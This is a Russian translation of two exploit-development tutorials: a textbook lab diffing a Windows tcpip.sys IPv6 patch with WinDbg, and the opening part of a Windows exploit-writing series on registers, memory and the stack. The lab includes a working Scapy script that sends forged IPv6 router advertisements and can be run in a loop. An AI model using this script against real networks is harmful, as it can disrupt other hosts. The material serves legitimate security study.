В предыдущей лабораторной работе вы могли использовать turbodiff для анализа функции Ipv6pUpdateSitePrefix до и после исправления. Если это так, это было сделано с использованием 32-разрядной версии tcpip.sys. В только что рассмотренном разделе использовалась 64-битная версия Windows 8.0 с tcpip.sys, что встречается гораздо чаще. Это упражнение может быть выполнено на 32-битной версии Windows 8.0 с использованием тех же методов; однако смещения будут разными. Чтобы упростить работу лабораторнойц, мы сосредоточимся на использовании 64-разрядной версии Windows 8. Даже если вы не можете выполнить обратный инжиниринг драйвера из-за ограничений бесплатной версии IDA 5.0, вы все равно можете использовать смещения, представленные в этом разделе, чтобы получить те же результаты с WinDbg.
Для этой лаборатории вам понадобится следующее:
- Windows 8.0 64-bit VM, полностью пропатченный (not 8.1)
- WinDbg из Microsoft SDK
- Kali Linux
- VirtualKDClick to expand...
После того, как у вас установлена ОС Windows, запущена VMware Workstation и установлена гостевая 64-разрядная виртуальная машина Windows 8.0, выполните следующие действия:
- Перейдите по следующему URL-адресу, чтобы загрузить WinDbg на хост- компьютер в составе Microsoft SDK: <http://msdn.microsoft.com/en- US/windows/desktop/bg162891>. Чтобы загружать и устанавливать только WinDbg, обязательно снимите все остальные флажки во время процесса установки.
- После установки перейдите по следующему URL-адресу для загрузки VirtualKD: http://virtualkd.sysprogs.org/. Загрузив VirtualKD на свой хост, перейдите в папку VirtualKD-28 и запустите vmmon64.exe, если вы находитесь на 64-битном хосте, или vmmon.exe, если на 32-битном хосте.
- Перейдите в папку ~\VirtualKD-2.8\target и скопируйте файл vminstall.exe на свою гостевую виртуальную машину Windows 8. Дважды щелкните исполняемый файл, чтобы установить его на виртуальной машине. Вы получите следующее предупреждение о том, что вы должны отключить подпись драйвера:Click to expand...
Затем инструмент спросит вас, хотите ли вы перезагрузиться. Перезагрузите компьютер и нажмите F8 при появлении запроса. Выберите параметр "Disable Driver Signature Enforcement", а затем продолжите. Подпись кода режима ядра (KMCS) - это 64-разрядный элемент управления Windows, который предотвращает загрузку неподписанных драйверов в пространство ядра. Мы допускаем исключение, чтобы VirtualKD мог правильно подключаться к гостевой виртуальной машине. После перезагрузки виртуальной машины она должна зависнуть. WinDbg должен автоматически появиться на вашем хосте с активным сеансом отладки ядра для виртуальной машины. Вы хотите нажать F5, чтобы позволить виртуальной машине загружаться. Теперь вы готовы установить точки останова.
Как было показано ранее, вы захотите установить точки останова для ссылок на "rdi+1E8h", чтобы наблюдать приращение счетчика. Нам также нужна точка останова в точке, когда префикс маршрута копируется из стека в регистр XMM0. Из WinDbg, перейдите в Debug | Break, или вы можете нажать CTRL-BREAK. Это заставит сломаться ядро. Когда виртуальная машина Windows 8 приостановлена, вы должны перезагрузить символы в ядре с помощью команды .reload. Введите эту команду, как показано ниже, включая точки останова:
nt!DbgBreakPointWithStatus:
fffff801'0b0f3930 cc int 3
kd> .reload
Connected to Windows 8 9200 x64 target at (Fri May 30 12:04:23.037 2014
(UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
..........
Loading User Symbols
kd> bp tcpip!Ipv6pUpdateSitePrefix+112
kd> bp tcpip!Ipv6pUpdateSitePrefix+156
kd> bp tcpip!Ipv6pUpdateSitePrefix+13d
kd> bl
0 e fffff880'01b26c02 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x112
1 e fffff880'01b26c46 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x156
2 e fffff880'01b26c2d 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+13dClick to expand...
Когда вы закончите вводить точки останова, нажмите F5, чтобы позволить виртуальной машине продолжить работу. Перейдите к своей виртуальной машине Kali Linux. Вам необходимо убедиться, что ваша виртуальная машина Kali Linux и ваша виртуальная машина Windows 8 находятся в одном сегменте сети. Вам также нужно убедиться, что только эти две системы могут взаимодействовать друг с другом, потому что другие устройства, подключенные к тому же сегменту сети с включенным IPv6, могут стать жертвой сценария, который вы выполняете. Самый простой способ сделать это - перевести виртуальные машины в режим Host-Only и убедиться, что на вашем хост-адаптере VMnet1 не установлен флажок IPv6, чтобы это не повлияло.
Убедившись, что ваши виртуальные машины находятся в одном сегменте сети и что адаптер VMnet1 вашего хоста не работает с IPv6, перейдите на виртуальную машину Kali, откройте ваш любимый редактор, такой как VIM, и введите следующее, сохранив его как IPv6_RA.py:
Python:Copy to clipboard
from scapy.all import *
pkt = Ether() \
/IPv6() \
/ICMPv6ND_RA() \
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:00:0c"))
sendp(pkt,count=1)
Последняя строка включает в себя count = 1. Эта переменная сообщает Scapy, сколько объявлений о маршруте нужно отправить. Если вы измените это значение на 1000, Scapy отправит 1000 объявлений о маршруте IPv6. Вы также можете изменить это на loop = 1, и он будет работать бесконечно, пока вы не остановите его с помощью CTRL+C. А пока оставьте значение count = 1 и запусти скрипт так.
#python IPv6_RA.py
.
Sent 1 packets.Click to expand...
а затем вернитесь в свою операционную систему и проверьте WinDbg, чтобы увидеть, достигнута ли точка останова. Если она не был достигнута, вам нужно будет вернуться и перепроверить свои шаги. Убедитесь, что две виртуальные машины находятся в одном и том же сегменте сети, и что WinDbg правильно запускает сеанс отладки ядра. Если была достигнута точка останова, продолжайте и проверьте значение в "rdi + 1E8h", чтобы увидеть, что память в данный момент держит значение:
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000000Click to expand...
Обратите внимание, что ваша адресация будет отличаться из-за ASLR. Если вы впервые достигли точки останова и ранее не запускали сценарий, значение должно быть 0. Нажмите F5 еще три раза, чтобы ядро продолжило работу. Снова запустите скрипт Scapy, чтобы активировать точку останова. Проверьте значение, сохраненное в "rdi + 1E8h", чтобы увидеть, увеличился ли счетчик.
В этот момент вы захотите нажать F5 пару раз, пока виртуальная машина не будет приостановлена в отладчике. Перейдите на свою виртуальную машину Kali Linux и запустите Wireshark, введя wireshark& в окне терминала. После запуска Wireshark перейдите в Capture | Interfaces ... и выберите соответствующий, затем нажмите Start. Как только Wireshark начнет снятие трафика, введите icmpv6.type == 134 в поле Filter и нажмите клавишу ENTER. Это сделает так, что Wireshark отображает только пакеты маршрута IPv6. После применения фильтра и работы виртуальной машины в отладчике снова запустите сценарий Scapy IPv6_RA.py. Вы должны достичь контрольной точки при начальном сравнении "rdi + 1E8h" и 0xA (10). Нажмите F5 один раз, чтобы перейти к следующей точке останова, где значение стека перемещается в XMM0. Когда в этой точке останова, введите следующее:
kd> dd rsp+30h l4
Click to expand...
Показанное значение должно соответствовать префиксу маршрута в перехвате Wireshark. Вам нужно будет пойти и проверить это. Не стесняйтесь запускать код несколько раз, чтобы наблюдать приращение счетчика и как данные объявления маршрута копируются в память ядра. Вы также можете удалить патч и подтвердить его снова.
Резюме
В этой главе мы представили двоичное сравнение и различные доступные инструменты, которые помогут ускорить ваш анализ. Мы рассмотрели простой пример PoC приложения, а затем посмотрели на реальный патч, чтобы найти уязвимость и проверить наши предположения. Это приобретенный навык, тесно связанный с вашим опытом отладки и чтения дизассемблированного кода. Чем больше вы это делаете, тем лучше вы будете выявлять изменения кода и потенциальные исправленные уязвимости. Microsoft недавно прекратила поддержку Windows XP; Тем не менее, все еще существуют некоторые версии, например, с XP Embedded, которые все еще поддерживаются и получают исправления. Это может дать возможность продолжить анализ исправлений в операционной системе, которая не имеет такой сложности. Microsoft нередко также использует скрытые изменения кода с помощью другого патча.
Источник: Gray Hat Hacking the Ethica Hacker's Handbook 4th
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Добро пожаловать в первую часть серии статей о разработке эксплоитов Windows. В этой первой части я расскажу только об основах, необходимых для понимания содержания будущих публикаций, включая некоторый синтаксис ассемблера, структуру памяти Windows и использование отладчика. Это не будет всестороннее обсуждение по любой из этих тем, поэтому, если вы не знакомы с ассемблером или если что-то неясно после прочтения этого первого поста, я призываю вас взглянуть на различные ссылки на ресурсы, которые я предоставил на протяжении курса.
Мой план для оставшейся части этой серии состоит в том, чтобы пройтись по различным темам эксплоитов, от простых (прямая перезапись EIP) до более сложных (юникод, поиск яиц, обход ASLR, распыление кучи, эксплоиты драйверов устройств и так далее), используя реальные эксплоиты чтобы продемонстрировать каждый. Я действительно не знаю когда закончу этот курс, поэтому, когда я думаю о других темах, я просто буду продолжать писать статьи.
Назначение
Моя цель этой серии публикаций - представить концепции поиска и написания эксплоитов для приложений Windows в надежде, что специалисты по безопасности и ИТ, которые не имели большого технического знакомства с этими концепциями, могут заинтересоваться безопасностью программного обеспечения и применить свои навыки чтобы сделать программное обеспечение частного и общественного достояния более безопасным. Отказ от ответственности: Если вы человек, который хочет создавать эксплоиты для участия в незаконной или аморальной деятельности, покиньте эту страницу.
Я должен также упомянуть, что эти посты не предназначены для конкуренции с другими великолепными туториалами, такими как Corelan Team (https://www.corelan.be), The Grey Corner (http://www.thegreycorner.com/) и Fuzzy Security (http://www.fuzzysecurity.com/tutorials.html). Вместо этого, они призваны дополнить их и предоставить еще один ресурс для объяснений и примеров - если вы похожи на меня, у вас никогда не будет слишком много примеров. Я настоятельно рекомендую вам проверить эти другие замечательные сайты.
Что нам нужно?
Вот что вам нужно, если вы хотите следовать курсу:
- Установка Windows: Я планирую начать с Windows XP с пакетом обновления 3 (SP3), но по мере продвижения и освещения различных тем/эксплоитов я также могу использовать другие версии, включая Windows 7 и Windows Server 2003/2008.
- Отладчик: На хосте Windows вам также понадобится отладчик. В первую очередь я буду использовать Immunity Debugger, который вы можете скачать здесь (http://debugger.immunityinc.com/ID_register.py). Вы также должны получить плагин Мона, который можно найти здесь (http://redmine.corelan.be/projects/mona). Я также буду использовать WinDbg для некоторых моих примеров. Инструкции по загрузке можно найти здесь (<https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/?redirectedfrom=MSDN>) (прокрутите страницу вниз для более ранних версий Windows).
- Хост Backtrack/Kali (необязательно): я использую Kali для всех своих сценариев, а также планирую использовать его в качестве "атакующей машины' во всех примерах удаленноЙ эксплуатации, которые я использую. Я планирую использовать Perl и Python для большинства моих сценариев, поэтому вы можете вместо этого установить любую языковую среду на хост Windows.
Click to expand...
Начало работы с Immunity Debugger
Давайте начнем с рассмотрения отладчика, поскольку мы потратим немало времени на его использование в этих туториалах. Я собираюсь в первую очередь использовать отладчик Immunity, потому что он бесплатный и имеет некоторые плагины и настраиваемые возможности сценариев, которые я планирую выделить по мере продвижения.
Я буду использовать Windows Media Player в качестве примера программы для представления отладчика Immunity. Если вы хотите продолжить, откройте Windows Media Player и отладчик Immunity. В Immunity нажмите File -> Attach и выберите имя приложения/процесса (в моем примере, wmplayer). Примечание: вы также можете запустить WMP напрямую из Immunity, щелкнув File -> Open и выбрав исполняемый файл.
После того, как вы запустили исполняемый файл или присоединились к процессу в Immunity, вы должны перейти в представление центрального процессора (если его нет, нажмите Alt + C), которое выглядит так:
Когда вы запускаете/присоединяетесь к программе с помощью Immunity, она запускается в состоянии паузы (смотри правый нижний угол). Для запуска программы вы можете нажать F9 (или кнопку воспроизведения на панели инструментов). Чтобы перейти к следующей инструкции (но приостановить выполнение программы), нажмите F7. Вы можете использовать F7 для пошагового выполнения каждой инструкции. Если в любой момент вы хотите перезапустить программу, нажмите Ctrl + F2. Я не буду предоставлять полное руководство по использованию Immunity, но я постараюсь упомянуть любые соответствующие ярлыки и горячие клавиши, поскольку я представляю новые концепции в этой и будущих публикациях.
Как вы можете видеть, окно центрального процессора разбито на четыре панели, отображающие следующую информацию:
- Инструкции центрального процессора - отображает адрес памяти, опкоды и ассемблерные инструкции, дополнительные комментарии, названия функций и другую информацию, связанную с инструкциями центрального процессора.
- Регистры - отображает содержимое регистров общего назначения, указатель команд и флаги, связанные с текущим состоянием приложения.
- Стек - показывает содержимое текущего стека
- Дамп памяти - показывает содержимое памяти приложения
Click to expand...
Давайте рассмотрим каждый из них более подробно, начиная с регистров.
Регистры центрального процессора
Регистры центрального процессора служат небольшими областями хранения, используемыми для быстрого доступа к данным. В архитектуре x86 (32-разрядной) имеется 8 регистров общего назначения: EAX, EBX, ECX, EDX, EDI, ESI, EBP и ESP. Технически они могут использоваться для хранения любых данных, хотя изначально они были спроектированы для выполнения конкретных задач, и во многих случаях до сих пор используются таким образом сегодня.
Вот немного подробной информации про каждый
EAX — Регистр аккумулятор
Он называется регистром аккумулятора, потому что это основной регистр, используемый для общих вычислений (таких как ADD и SUB). В то время как другие регистры могут использоваться для расчетов, регистру EAX был присвоен статус привилегированного, назначив ему более эффективные однобайтовые коды операций. Такая эффективность может быть важна, когда речь идет о написании эксплоита шеллкода для ограниченного доступного буферного пространства (подробнее об этом в будущих уроках!). В дополнение к его использованию в вычислениях, регистр EAX также используется для хранения возвращаемого значения функции.
На этот регистр общего назначения можно ссылаться полностью или частично следующим образом: регистр EAX относится к 32-битному регистру в целом. Регистр AX относится к наименее значимым 16 битам, которые могут быть дополнительно разбиты на AH (8 старших значащих бит AX) и AL (8 младших значащих бит).
Вот базовое визуальное представление:
Такое же полное/частичное 32-, 16- и 8-битное обращение также относится к следующим трем регистрам (EBX, ECX и EDX)
EBX — Регистр Базы
В 32-битной архитектуре, у регистра EBX нет особой цели, поэтому просто представьте, что это универсальное решение для доступного хранилища. Как и регистра EAX, на него можно ссылаться полностью (EBX) или частично (BX, BH, BL).
ECX - Регистр Счетчик
Как следует из названия, регистр счетчика часто используется в качестве счетчика повторений цикла и функции, хотя его также можно использовать для хранения любых данных. Как и регистр EAX, на него можно ссылаться полностью (ECX) или частично (CX, CH, CL).
EDX - Регистр Данных
EDX напоминает регистр регистр EAX. Он часто используется в математических операциях, таких как деление и умножение, чтобы справиться с переполнением, когда самые старшие биты будут храниться в регистре EDX, а наименее значимые - в регистре EAX. Он также обычно используется для хранения переменных функций. Как и регистр EAX, на него можно ссылаться полностью (EDX) или частично (DX, DH, DL).
ESI - Регистр Индекса Источника
В отличие от регистра EDI, регистр ESI часто используется для хранения указателя на место чтения. Например, если функция предназначена для чтения строки, регистр ESI будет содержать указатель на местоположение этой строки.
EDI - Регистр Индекса Назначения
Хотя он может быть (и используется) для общего хранения данных, регистр EDI был в первую очередь предназначен для хранения указателей хранения функций, таких как адрес записи строковой операции.
EBP - Указатель Базы
Регистр EBP используется для отслеживания базы/дна стека. Он часто используется для ссылки на переменные, расположенные в стеке, используя смещение к текущему значению регистра EBP, хотя, если на параметры ссылается только регистр, вы можете использовать регистр EBP для общих целей.
ESP - указатель стека
Регистр ESP используется для отслеживания вершины стека. По мере перемещения данных в стек и из стека регистр ESP соответственно увеличивается/уменьшается. Из всех регистров общего назначения регистр ESP редко/никогда не используется ни для чего, кроме его предназначения.
Указатель инструкций (EIP)
Не регистр общего назначения, но подходящий для этого, регистр EIP указывает на адрес памяти следующей инструкции, которая будет выполнена центральным процессором. Как вы увидите в следующих уроках, управляя значением регистра EIP, и вы сможете контролировать ход выполнения приложения (для выполнения кода по вашему выбору).
**Сегментные регистры и регистр EFLAGS
**
Есть два дополнительных регистра, которые вы увидите на панели регистров: регистр сегментов и регистр EFLAGS. Я не буду подробно останавливаться на этом, но упомяну, что регистр EFLAGS состоит из серии флагов, представляющих логические значения, полученные в результате вычислений и сравнений, и может использоваться для определения того, когда и следует ли выполнять условные переходы (подробнее об этом позже).
Для получения дополнительной информации о регистрах центрального процессора, проверьте эти ресурсы:
**
- http://wiki.skullsecurity.org/Registers
- http://www.swansontec.com/sregisters.htmlClick to expand...
Дамп памяти **
Если перейти к панели Memory Dump в представлении центрального процессора, это просто место, где вы можете просмотреть содержимое ячейки памяти. Например, допустим, вы хотели просмотреть содержимое памяти регистра ESP, которое на следующем снимке экрана указывает на адрес 0007FF0C. Щелкните правой кнопкой мыши на ESP, выберите "Follow in Dump", и на панели Memory Dump отобразится это место.
Инструкции процессора
Как вы, наверное, знаете, большинство приложений сегодня написаны на языке высокого уровня (C, C++ и так далее). Когда приложение компилируется, эти инструкции языка высокого уровня переводятся в ассемблер, который имеет соответствующий опкод, чтобы помочь в дальнейшем преобразовать инструкцию в то, что машина может понять (машинный код). В отладчике вы можете просмотреть каждую ассемблерную инструкцию (и соответствующий опкод), обрабатываемый центральным процессором. Примечание: Для серии эксплойтов Windows я буду использовать синтаксис Intel на языке ассемблера x86 (http://en.wikipedia.org/wiki/X86_assembly_language#Syntax).
Вы можете пошагово проходить последовательность выполнения программы (F7) и видеть результат каждой инструкции процессора. Давайте посмотрим на первый набор инструкций для Windows Media Player. Программа начинается с паузы. Нажмите F7 несколько раз, чтобы выполнить первые несколько инструкций, пока не дойдете до второй инструкции MOV DWORD PTR SS: (выделено на скриншоте ниже). Инструкция MOV копирует элемент данных из одного места в другое.
Эта инструкция собирается переместить содержимое регистра EBX в область адреса памяти, на которую указывает регистр EBP - 18 (помните, что с синтаксисом Intel x86 это MOV [DST] [SRC]). Обратите внимание, что регистр EBP (указатель базы стека) указывает на адрес 0007FFC0. Используя калькулятор Windows или Mac (в научном/программном режиме), рассчитайте адрес 0007FFC0 - 0x18. Результат должен быть 0x7FFA8, что означает, что содержимое регистра EBP будет помещено в расположение адреса 0007FFA8. На самом деле, вам не нужно рассчитывать это вне Immunity. Обратите внимание на подокно в нижней части панели команд процессора. Оно уже сообщает вам значение регистра EBX, а также значение 0007FFC0 - 0x18 и текущее содержимое этой ячейки памяти (F4C47D04). Вы можете щелкнуть правой кнопкой мыши по строке "Stack" в этом подокне и выбрать "Follow address in Dump", чтобы проверить содержимое этой ячейки памяти.
Теперь снова нажмите F7, чтобы выполнить инструкцию. Обратите внимание, что ячейка памяти 0007FFA8 теперь имеет значение 00000000, поскольку содержимое регистра EBX было перемещено туда.
Это был лишь быстрый пример того, как вы можете следить за выполнением каждой инструкции центрального процессора в Immunity. Вот еще несколько общих инструкций по ассемблеру и синтаксису, с которыми вы можете столкнуться:
- ADD/SUB OP1, OP2 - добавить или вычесть два операнда, сохраняя результат в первом операнде. Это могут быть регистры, ячейки памяти (не более одного) или константы. Например, ADD EAX, 10 означает добавить 10 к значению EAX и сохранить результат в EAX
- XOR EAX, EAX - выполняет "исключающее или" регистра с самим собой - устанавливает его значение в ноль; простой способ очистки содержимого реестра
- INC/DEC OP1– увеличивать или уменьшать значение операнда на единицу
- CMP OP1, OP2 - сравнить значение двух операндов (регистр/адрес памяти/ константа) и установить соответствующее значение EFLAGS.
- Переход (JMP) и условный переход (JE, JZ и так далее) - как следует из названия, эти инструкции позволяют переходить в другое место в потоке выполнения/наборе команд. Инструкция JMP просто переходит в определенное место, тогда как условные переходы (JE, JZ и так далее) выполняются только при соблюдении определенных критериев (с использованием значений регистра EFLAGS, упомянутых ранее). Например, вы можете сравнить значения двух регистров и перейти к месту, если они оба равны (использует инструкцию JE и нулевой флаг (ZF) = 1).
- Когда вы видите значение в скобках, такое как ADD DWORD PTR [X] или MOV EAX, [EBX], оно ссылается на значение, сохраненное по адресу памяти X. Другими словами, EBX относится к содержимому EBX, тогда как [EBX] относится к значению, хранящемуся по адресу памяти в EBX.
- Соответствующие ключевые слова размера: BYTE = 1 байт, WORD = 2 байта, DWORD = 4 байта.
Click to expand...
Я, конечно, не эксперт, но когда дело доходит до понимания и, в конечном итоге, разработки собственного кода эксплоТта, вы должны иметь довольно твердое понимание ассемблера. По мере продвижения я буду обсуждать еще несколько инструкций ассемблера, но я не планирую углубленно освещать язык ассемблера, поэтому, если вам понадобится переподготовка, есть множество хороших онлайн-ресурсов, включая:
- x86 Assembly Guide
- Sandpile.org
- The Art of Assembly Language Programming
- Windows Assembly Language MegaprimerClick to expand...
Если вы хотите приобрести книгу, вы можете подумать об этой- Hacking: The Art of Exploitation, которая не только охватывает основы ассемблера, но и помогает в написании эксплоитов (хотя в основном в среде Linux).
В этой серии постов я постараюсь объяснить все примеры кода, которые я использую, поэтому, если у вас есть хотя бы какое-то базовое понимание ассемблера, вам будет хорошо.
Раскладка памяти Windows
Прежде чем мы поговорим о стеке, я хочу кратко рассказать о структуре памяти процесса Win32. Я должен сказать заранее, что это будет введение очень высокого уровня и не будет охватывать такие понятия, как рандомизация адресного пространства (ASLR), трансляция виртуальных адресов в физические, пейджинг, расширение физических адресов и так далее. Я планирую осветить некоторые из этих тем в следующей части, но сейчас я хочу, чтобы все было очень просто.
Во-первых, с отладчиком Immunity, подключенным к Windows Media Player, взгляните на карту памяти, нажав ALT + M (в качестве альтернативы вы можете выбрать View->Memory или щелкнуть значок "M" на панели инструментов).
Вам должно быть представлено что-то похожее на следующее (точные записи могут отличаться):
Это раскладка памяти wmplayer.exe, включая стек, кучу, загруженные модули (DLL) и сам исполняемый файл.Я представлю каждый из этих элементов более подробно, используя слегка упрощенную версию карты памяти, которую можно найти в великолепном вводном учебном пособии Корелана по переполнению стека, которое я сопоставил с картой памяти отладчика Immunity проигрывателя Windows Media.
Давайте продолжим работу снизу, начиная с части памяти от 0xFFFFFFFF до 0x7FFFFFFF, которую часто называют "уровнем ядра".
Уровень Ядра
Эта часть памяти зарезервирована ОС для драйверов устройств, системного кэша, выгружаемого/невыгружаемого пула, HAL и так далее. У пользователя нетт доступа к этой части памяти. Примечание: для подробного объяснения управления памятью в Windows вам следует ознакомиться с книгами по внутренним компонентам Windows (в настоящее время это два тома).
PEB и TEB
Когда вы запускаете программу/приложение, запускается экземпляр этого исполняемого файла, известного как процесс. Каждый процесс предоставляет ресурсы, необходимые для запуска экземпляра этой программы. Каждый процесс Windows имеет структуру исполнительного процесса (EPROCESS), которая содержит атрибуты процесса и указатели на связанные структуры данных. Хотя большинство этих структур EPROCESS находятся в ядре, блок Process Environment Block (PEB) находится в доступной для пользователя памяти. PEB содержит различные параметры пользовательского режима о запущенном процессе. Вы можете использовать WinDbg, чтобы легко изучить содержимое PEB, введя команду !peb.
Как видите, PEB включает в себя такую информацию, как базовый адрес образа (исполняемый файл), расположение кучи, загруженные модули (DLL) и переменные среды (операционная система, соответствующие пути и так далее). Посмотрите на ImageBaseAddress на приведенном выше скриншоте WinDbg. Обратите внимание на адрес 01000000. Теперь вернитесь к предыдущей диаграмме карты памяти Win32 и обратите внимание, что это значение совпадает с самым первым адресом в callout отладчика Immunity в блоке "Образа программы". Вы можете сделать то же самое для адреса кучи и связанных DLL.
Небольшое примечание о файлах символов ... особенно полезно загружать соответствующие файлы символов при отладке приложений Windows, поскольку они предоставляют полезную описательную информацию для функций, переменных и так далее. Вы можете сделать это в WinDbg, перейдя в "File –> Symbol File Path…". Следуйте инструкциям, найденным здесь: http://support.microsoft.com/kb/311503. Вы также можете загрузить файлы символов в Immunity, перейдя в "Debug –> Debugging Symbol Options".
Более подробную информацию обо всей структуре PEB можно найти здесь (<http://msdn.microsoft.com/en- us/library/windows/desktop/aa813706(v=vs.85).aspx>).
Программа или процесс может иметь один или несколько потоков, которые служат базовым модулем, которому операционная система выделяет процессорное время. Каждый процесс начинается с одного потока (основного потока), но может создавать дополнительные потоки по мере необходимости. Все потоки используют одно и то же виртуальное адресное пространство и системные ресурсы, выделенные родительскому процессу. Каждый поток также имеет свои собственные ресурсы, включая обработчики исключений, приоритеты, локальное хранилище и так далее. Как и у каждой программы/процесса есть PEB, так и у каждого потока есть блок среды потока (TEB). TEB хранит контекстную информацию для загрузчика образа и различных библиотек DLL Windows, а также расположение списка обработчиков исключений (о чем мы подробно расскажем в следующем посте). Как и PEB, TEB находится в адресном пространстве процесса, поскольку компоненты пользовательского режима требуют доступа с возможностью записи.
Вы также можете просматривать TEB с помощью WinDbg.
Более подробную информацию о всей структуре TEB можно найти здесь (<http://msdn.microsoft.com/en- us/library/windows/desktop/ms686708(v=vs.85).aspx>), а более подробную информацию о процессах и потоках можно найти здесь (<http://msdn.microsoft.com/en- us/library/windows/desktop/ms681917(v=vs.85).aspx>).
DLL
Программы Windows используют преимущества библиотек с общим кодом, которые называются динамическими библиотеками (DLL), что обеспечивает эффективное повторное использование кода и распределение памяти. Эти библиотеки DLL (также известные как модули или исполняемые модули) занимают часть пространства памяти. Как показано на скриншоте карты памяти, вы можете просмотреть их в Immunity в представлении Memory (Alt + M) или, если вы хотите просматривать только DLL, вы можете выбрать представление Executable Module (Alt + E). Существуют модули ОС/системы (ntdll, user32 и так далее), А также модули для конкретных приложений, и последние часто полезны при создании эксплоитов с переполнением (будет рассмотрено в будущих публикациях).
Вот скриншот представления "Памяти" в "Immunity":
Образ программы
Часть памяти образа программы находится там, где находится исполняемый файл. Это включает в себя секцию .text (содержащий исполняемый код/инструкции центрального процессора), секцию .data (содержащий глобальные данные программы) и секцию .rsrc (содержит неисполняемые ресурсы, включая значки, изображения и строки).
Куча
Куча - это динамически выделяемая (например c помощью функции malloc()) часть памяти, которую программа использует для хранения глобальных переменных. В отличие от стека, выделение кучи памяти должно управляться приложением. Другими словами, эта память будет выделяться до тех пор, пока она не будет освобождена программой или сама программа не завершит работу. Вы можете думать о куче как об общем пуле памяти, тогда как стек, о котором мы поговорим далее, более организован и разделен. Я пока не буду слишком углубляться в кучу, но планирую рассказать об этом позже в статье о переполнении кучи.
Стек
В отличие от кучи, где выделение памяти для глобальных переменных является относительно произвольным и постоянным, стек используется для выделения краткосрочного хранилища для локальных (функций/методов) переменных упорядоченным образом, и эта память впоследствии освобождается по окончании заданного функция. Вспомните, как данный процесс может иметь несколько потоков. Каждому потоку/функции выделяется свой собственный кадр стека. Размер этого стекового фрейма фиксируется после создания, а стековый фрейм удаляется при завершении функции.
PUSH и POP
Прежде чем мы рассмотрим, как функции назначается кадр стека, давайте кратко
рассмотрим некоторые простые инструкции PUSH и POP, чтобы вы могли увидеть,
как данные помещаются в стек и удаляются из него. Стек - это структура "первым
пришел - первым вышел" (LIFO), то есть последний элемент, который вы положили
в стек, - это первый элемент, который вы снимаете. Вы "кладете" предметы на
вершину стека и "выталкиваете" предметы с верха стека.
Давайте посмотрим на это в действии …
На следующем снимке экрана вы увидите ряд инструкций PUSH на панели инструкций ЦП (вверху слева), каждая из которых будет принимать значение из одного из регистров (верхняя правая панель) и помещать это значение поверх стека (нижняя правая панель).
Давайте начнем с первой инструкции PUSH (PUSH ECX).
Обратите внимание на значение регистра ECX, а также адрес и значение вершины стека (нижний правый угол предыдущего снимка экрана). Теперь инструкция PUSH ECX выполняется …
После первой инструкции PUSH ECX значение из регистра ECX (адрес 0012E6FC) было помещено в верхнюю часть стека (как показано на снимке экрана выше). Обратите внимание, как адрес вершины стека уменьшился на 4 байта (с 0012E650 до 0012E64C). Это иллюстрирует, как стек растет вверх к более низким адресам, когда элементы помещаются в него. Также обратите внимание, что регистр ESP указывает на вершину стека, а регистр EBP указывает на основание этого кадра стека. На следующих снимках экрана вы заметите, что регистр EBP (базовый указатель) остается постоянным, в то время как регистр ESP (указатель стека) смещается по мере роста и сжатия стека. Теперь будет выполнена вторая инструкция PUSH ECX ...
Еще раз, значение из регистра ECX (0012E6FC) было помещено в вершину стека, регистр ESP скорректировал его значение еще на 4 байта, и, как вы можете видеть на скриншоте выше, последняя инструкция PUSH (PUSH EDI) вот-вот будет выполнена.
Теперь значение из регистра EDI (41414139) было перенесено в верхнюю часть стека, и вскоре должна быть выполнена следующая инструкция в списке (инструкция MOV), а значение регистра EDI изменилось. Давайте перейдем к инструкции POP EDI, чтобы показать, как элементы удаляются из стека. В этом случае текущее значение на вершине стека (41414139) будет вытолкнуто и помещено в EDI.
Как видите, значение EDI изменилось обратно на 41414139 после инструкции POP. Теперь, когда у вас есть представление о том, как манипулировать стеком, давайте посмотрим, как создаются фреймы стека для функций и как локальные переменные помещаются в стек. Понимание этого будет иметь решающее значение, когда мы перейдем к переполнению на основе стека во второй части этой серии.
Фреймы стека и функции
Когда выполняется программная функция, создается стековый фрейм для хранения ее локальных переменных. Каждая функция получает свой собственный кадр стека, который помещается поверх текущего стека и заставляет стек увеличиваться вверх до более низких адресов.
Каждый раз, когда создается кадр стека, выполняется серия инструкций для сохранения аргументов функции и адреса возврата (чтобы программа знала, куда идти после завершения функции), сохранения базового указателя текущего кадра стека и резервирования места для любые локальные переменные функции. [примечание: я намеренно опускаю обработчики исключений для этого базового обсуждения, но расскажу о них в следующем посте].
Давайте посмотрим на создание стекового фрейма с помощью одной из самых простых функций, которые я смог найти (из Википедии):
Этот код просто вызывает функцию foo(), передавая ей один параметр аргумента командной строки (argv [1]). Затем функция foo() объявляет переменную c длиной 12, которая резервирует необходимое место в стеке для хранения argv [1]. Затем он вызывает функцию strcpy(), которая копирует значение argv[1] в переменную c. Как говорится в комментарии, проверка границ не выполняется, поэтому использование strcpy может привести к переполнению буфера, что я продемонстрирую во второй части этой серии. А пока давайте просто сосредоточимся на том, как эта функция влияет на стек.
Я скомпилировал эту программу c (как stack_demo.exe), используя командную строку Visual Studio (2010), чтобы точно показать, как она выглядит при выполнении в отладчике. Вы можете запустить программу с аргументами командной строки непосредственно из отладчика Immunity, выбрав File–> Open (или просто нажав F3), выбрав свой исполняемый файл и введя аргументы командной строки в данное поле.
Для этого примера я просто использовал 11 символов А для argv[1].[Мы рассмотрим, что происходит, когда вы используете более 11 символов во второй части!]
Поскольку адреса могут меняться, лучший способ найти наш соответствующий программный код - выбрать "Просмотр" -> "Исполняемые модули" (или Alt + E). Затем дважды щелкните по модулю stack_demo.exe (или как вы назвали свой .exe).
Это должно привести вас к следующему:
Первая строка, которую вы видите - это начало функции foo(), но сначала мы рассмотрим main().Я установил несколько точек останова, чтобы помочь пройти по коду (обозначен голубым цветом), и вы можете сделать то же самое, выбрав нужный адрес и нажав F2. Давайте посмотрим на main () …
Хотя main () не делает ничего, кроме вызова функции foo(), есть пара вещей, которые должны произойти в первую очередь, как вы увидите в отладчике. Во- первых, он помещает содержимое Argv [1] (AAAAAAAAAAAAA) в стек. Затем, когда вызывается функция foo(), адрес возврата сохраняется в стеке, поэтому выполнение программы может возобновиться в нужном месте после завершения функции foo().
